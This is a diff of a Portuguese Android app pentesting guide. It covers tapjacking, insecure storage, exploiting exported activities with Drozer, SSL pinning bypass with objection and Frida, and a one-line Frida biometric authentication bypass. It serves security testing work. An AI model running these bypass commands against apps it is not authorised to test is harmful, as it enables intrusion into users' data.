||||
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app da vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ela, enquanto passa a interação para o app da vítima.\
|
||||
Na prática, isso **cega o usuário para saber que ele está realmente realizando ações no app da vítima**.
|
||||
|
||||
Encontre mais informações em:
|
||||
@ -110,7 +110,7 @@ android-task-hijacking.md
|
||||
No Android, arquivos **armazenados** no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pela **aplicação** que **os criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. No entanto, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo aquelas potencialmente maliciosas.
|
||||
|
||||
1. **Análise Estática:**
|
||||
- **Assegure-se** de que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente analisado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**.
|
||||
- **Assegure-se** de que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente examinado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**.
|
||||
2. **Análise Dinâmica:**
|
||||
- **Verifique** as **permissões** definidas em arquivos criados pela aplicação. Especificamente, **verifique** se algum arquivo está **definido para ser legível ou gravável globalmente**. Isso pode representar um risco significativo à segurança, pois permitiria que **qualquer aplicação** instalada no dispositivo, independentemente de sua origem ou intenção, **lesse ou modificasse** esses arquivos.
|
||||
|
||||
@ -126,12 +126,12 @@ Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas pre
|
||||
3. **Manipulação de Dados do Armazenamento Externo**:
|
||||
- Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados vêm de uma fonte não confiável.
|
||||
- Armazenar executáveis ou arquivos de classe no armazenamento externo para carregamento dinâmico é fortemente desencorajado.
|
||||
- Se sua aplicação precisar recuperar arquivos executáveis do armazenamento externo, assegure-se de que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Essa etapa é vital para manter a integridade de segurança da sua aplicação.
|
||||
- Se sua aplicação precisar recuperar arquivos executáveis do armazenamento externo, assegure-se de que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Este passo é vital para manter a integridade de segurança da sua aplicação.
|
||||
|
||||
O armazenamento externo pode ser **acessado** em `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretórios que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
|
||||
> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretório que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
|
||||
|
||||
**Dados sensíveis armazenados em texto claro**
|
||||
|
||||
@ -185,11 +185,11 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap
|
||||
|
||||
### Aplicações Superpacked
|
||||
|
||||
De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacta esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
|
||||
De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
|
||||
|
||||
### Análise de Código Estática Automatizada
|
||||
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
|
||||
|
||||
Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
|
||||
|
||||
@ -267,14 +267,14 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
|
||||
4. Pressione **Número da versão** 7 vezes.
|
||||
5. Volte e você encontrará as **Opções de desenvolvedor**.
|
||||
|
||||
> Uma vez que você tenha instalado a aplicação, a primeira coisa que você deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\
|
||||
> Uma vez que você tenha instalado a aplicação, a primeira coisa que deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\
|
||||
> Sugiro que **realize esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde.
|
||||
|
||||
### Vazamento de Dados Não Intencionais
|
||||
|
||||
**Registro**
|
||||
|
||||
Os desenvolvedores devem ter cuidado ao expor **informações de depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar logs de aplicações para identificar e proteger informações sensíveis. **Pidcat** é favorecido por sua facilidade de uso e legibilidade.
|
||||
Os desenvolvedores devem ter cuidado ao expor **informações de depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar logs de aplicações para identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que a partir de **versões mais recentes que o Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
|
||||
@ -286,7 +286,7 @@ O framework **baseado em clipboard** do Android permite a funcionalidade de copi
|
||||
|
||||
**Logs de Crash**
|
||||
|
||||
Se uma aplicação **crash** e **salva logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados por um canal SSL para segurança.
|
||||
Se uma aplicação **crash** e **salvar logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados através de um canal SSL para segurança.
|
||||
|
||||
Como pentester, **tente dar uma olhada nesses logs**.
|
||||
|
||||
@ -299,14 +299,14 @@ As aplicações frequentemente integram serviços como Google Adsense, que podem
|
||||
A maioria das aplicações usará **bancos de dados SQLite internos** para salvar informações. Durante o pentest, dê uma **olhada** nos **bancos de dados** criados, os nomes das **tabelas** e **colunas** e todos os **dados** salvos, pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
|
||||
Os bancos de dados devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Se o banco de dados estiver salvando informações confidenciais e estiver **criptografado**, mas você pode **encontrar** a **senha** dentro da aplicação, ainda é uma **vulnerabilidade**.
|
||||
Se o banco de dados estiver salvando informações confidenciais e estiver **criptografado**, mas você conseguir **encontrar** a **senha** dentro da aplicação, ainda é uma **vulnerabilidade**.
|
||||
|
||||
Enumere as tabelas usando `.tables` e enumere as colunas das tabelas fazendo `.schema <table_name>`.
|
||||
|
||||
### Drozer (Explorar Atividades Exportadas, Provedores de Conteúdo e Serviços)
|
||||
### Drozer (Exploit Activities, Content Providers e Services)
|
||||
|
||||
Do [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um aplicativo Android** e interaja com outros aplicativos. Ele pode fazer **qualquer coisa que um aplicativo instalado pode fazer**, como fazer uso do mecanismo de Comunicação Inter-Processo (IPC) do Android e interagir com o sistema operacional subjacente.\
|
||||
Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços exportados e Provedores de Conteúdo**, como você aprenderá nas seções seguintes.
|
||||
Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços exportados e Content Providers**, como você aprenderá nas seções seguintes.
|
||||
|
||||
### Explorando Atividades Exportadas
|
||||
|
||||
@ -315,7 +315,7 @@ Além disso, lembre-se de que o código de uma atividade começa no método **`o
|
||||
|
||||
**Bypass de Autorização**
|
||||
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você pode **burlar** os mecanismos de **autenticação** **para acessá-la.**
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderia **burlar** os mecanismos de **autenticação** **para acessá-la.**
|
||||
|
||||
[**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -421,15 +421,15 @@ Se **Flutter** estiver sendo usado, você precisa seguir as instruções nesta [
|
||||
|
||||
Quando o SSL Pinning é implementado, contorná-lo se torna necessário para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse propósito:
|
||||
|
||||
- Modifique automaticamente o **apk** para **contornar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A melhor vantagem dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
- Você pode usar **Frida** (discutido abaixo) para contornar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Modifique automaticamente o **apk** para **contornar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). O melhor pró dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
- Você pode usar **Frida** (discutido abaixo) para contornar essa proteção. Aqui você tem um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Você também pode tentar **contornar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Você também pode tentar **contornar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
|
||||
- Se você ainda acha que há algum tráfego que não está capturando, pode tentar **encaminhar o tráfego para o burp usando iptables**. Leia este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Procurando Vulnerabilidades Comuns na Web
|
||||
|
||||
É importante também procurar vulnerabilidades comuns na web dentro da aplicação. Informações detalhadas sobre como identificar e mitigar essas vulnerabilidades estão além do escopo deste resumo, mas são amplamente cobertas em outros lugares.
|
||||
É importante também procurar por vulnerabilidades comuns na web dentro da aplicação. Informações detalhadas sobre como identificar e mitigar essas vulnerabilidades estão além do escopo deste resumo, mas são amplamente cobertas em outros lugares.
|
||||
|
||||
### Frida
|
||||
|
||||
@ -438,7 +438,7 @@ Quando o SSL Pinning é implementado, contorná-lo se torna necessário para ins
|
||||
Se você quiser fazer pentesting em aplicativos Android, precisa saber como usar o Frida.
|
||||
|
||||
- Aprenda a usar o Frida: [**Tutorial Frida**](frida-tutorial/index.html)
|
||||
- Alguma "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Você pode encontrar alguns scripts Frida incríveis aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Tente contornar mecanismos de anti-debugging / anti-frida carregando o Frida como indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs))
|
||||
@ -470,9 +470,9 @@ Para acessar os dados dentro do keystore, você pode usar este script Frida: [ht
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Bypass de Impressão Digital/Biometria**
|
||||
### **Bypass de Impressão Digital/Biométricos**
|
||||
|
||||
Usando o seguinte script Frida, pode ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
|
||||
Usando o seguinte script Frida, pode ser possível **bypassar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
@ -496,7 +496,7 @@ Esta ferramenta pode ajudar você a gerenciar diferentes ferramentas durante a a
|
||||
|
||||
Os desenvolvedores frequentemente criam componentes proxy como atividades, serviços e receptores de broadcast que manipulam esses Intents e os passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
|
||||
|
||||
O perigo reside em permitir que atacantes acionem componentes de aplicativo não exportados ou acessem provedores de conteúdo sensíveis ao redirecionar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e, em seguida, executando-os, potencialmente levando a injeções de Intent maliciosas.
|
||||
O perigo reside em permitir que atacantes acionem componentes de aplicativo não exportados ou acessem provedores de conteúdo sensíveis ao desviar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e, em seguida, executando-os, potencialmente levando a injeções de Intent maliciosas.
|
||||
|
||||
### Principais Conclusões
|
||||
|
||||
@ -510,7 +510,7 @@ O perigo reside em permitir que atacantes acionem componentes de aplicativo não
|
||||
Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter cuidado especial com essas vulnerabilidades em uma aplicação Android:
|
||||
|
||||
- **Injeção SQL:** Ao lidar com consultas dinâmicas ou Content-Providers, certifique-se de usar consultas parametrizadas.
|
||||
- **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para qualquer WebView (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
- **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para quaisquer WebViews (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusão de Arquivo Local:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
- **Cookies Eternos**: Em vários casos, quando a aplicação android finaliza a sessão, o cookie não é revogado ou pode até ser salvo no disco.
|
||||
- [**Secure Flag** em cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
@ -525,7 +525,7 @@ Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter
|
||||
|
||||
.png>)
|
||||
|
||||
**Avaliação de vulnerabilidades da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente).
|
||||
**Avaliação de vulnerabilidade da aplicação** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
@ -533,14 +533,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
Observe que o MobSF pode analisar **Android**(apk)**, IOS**(ipa) **e Windows**(apx) aplicações (_As aplicações do Windows devem ser analisadas a partir de um MobSF instalado em um host Windows_).\
|
||||
Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá para a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), ele também poderá analisá-lo.
|
||||
|
||||
O MobSF também permite que você faça uma análise de **diff/Comparação** e integre o **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
|
||||
O MobSF também permite que você faça uma análise **diff/Compare** e integre o **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
|
||||
|
||||
### Análise Dinâmica Assistida com MobSF
|
||||
|
||||
**MobSF** também pode ser muito útil para **análise dinâmica** em **Android**, mas nesse caso você precisará instalar o MobSF e **genymotion** em seu host (uma VM ou Docker não funcionará). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
|
||||
O **analisador dinâmico do MobSF** pode:
|
||||
|
||||
- **Extrair dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas pelo "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
|
||||
- **Dump de dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas por "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
|
||||
- Capturar **tráfego HTTPS**
|
||||
- Usar **Frida** para obter **informações em tempo de execução**
|
||||
|
||||
@ -548,10 +548,10 @@ A partir das versões **Android > 5**, ele **iniciará automaticamente o Frida**
|
||||
|
||||
**Frida**
|
||||
|
||||
Por padrão, ele também usará alguns Scripts Frida para **contornar a verificação de SSL**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
|
||||
Por padrão, ele também usará alguns Scripts Frida para **burlar SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
|
||||
O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
|
||||
|
||||
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
|
||||
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos hookados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
|
||||
O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados dos seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
@ -563,13 +563,13 @@ Além disso, você tem algumas funcionalidades auxiliares do Frida:
|
||||
- **Capturar Comparações de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
|
||||
- **Enumerar Métodos de Classe**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
- **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
|
||||
- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API do Android.
|
||||
- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API Android.
|
||||
|
||||
Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Instrumentation**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
O MobSF também oferece um shell com alguns comandos **adb**, **comandos MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
|
||||
O MobSF também traz um shell com alguns comandos **adb**, comandos **MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -580,10 +580,10 @@ receivers
|
||||
```
|
||||
**Ferramentas HTTP**
|
||||
|
||||
Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visão mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**HTTP(S) Traffic**" na parte inferior ou uma visão mais agradável no botão verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Send to Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar "**Start Web API Fuzzer**" para **fuzz http requests** e procurar vulnerabilidades.
|
||||
|
||||
> [!TIP]
|
||||
> Após realizar uma análise dinâmica com MobSF, as configurações do proxy podem estar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo:
|
||||
@ -605,7 +605,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI**
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK "Proof-of-Concept" implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste.
|
||||
Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um "Proof-of-Concept" APK implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -647,7 +647,7 @@ Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
O AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicativos Android.\
|
||||
AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicativos Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -676,13 +676,13 @@ Ele é capaz de:
|
||||
- Extrair informações privadas do APK usando regexps.
|
||||
- Analisar o Manifest.
|
||||
- Analisar domínios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) e [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Deobfuscar APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
- Deofuscar APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
## Ofuscando/Deofuscando código
|
||||
|
||||
Observe que dependendo do serviço e configuração que você usa para ofuscar o código. Segredos podem ou não acabar ofuscados.
|
||||
|
||||
@ -694,7 +694,7 @@ ProGuard é distribuído como parte do SDK do Android e é executado ao construi
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Encontre um guia passo a passo para deobfuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Encontre um guia passo a passo para deofuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Daquele guia) Na última vez que verificamos, o modo de operação do Dexguard era:
|
||||
|
||||
@ -706,17 +706,17 @@ Encontre um guia passo a passo para deobfuscar o apk em [https://blog.lexfo.fr/d
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação do Android. Isso possibilita inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.**
|
||||
**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação do Android. Isso permite inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.**
|
||||
|
||||
Você pode enviar um APK ofuscado para a plataforma deles.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Esta é uma ferramenta LLM para encontrar quaisquer vulnerabilidades de segurança potenciais em aplicativos android e deobfuscar o código do aplicativo android. Usa a API pública Gemini do Google.
|
||||
Esta é uma ferramenta LLM para encontrar quaisquer vulnerabilidades de segurança potenciais em aplicativos android e deofuscar o código do aplicativo android. Usa a API pública Gemini do Google.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
É um **deobfuscador android genérico.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação utilizado.
|
||||
É um **deofuscador android genérico.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação utilizada.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
@ -730,9 +730,9 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e laboratórios de diferentes especialistas e pesquisadores de segurança para engenharia reversa e análise de malware.
|
||||
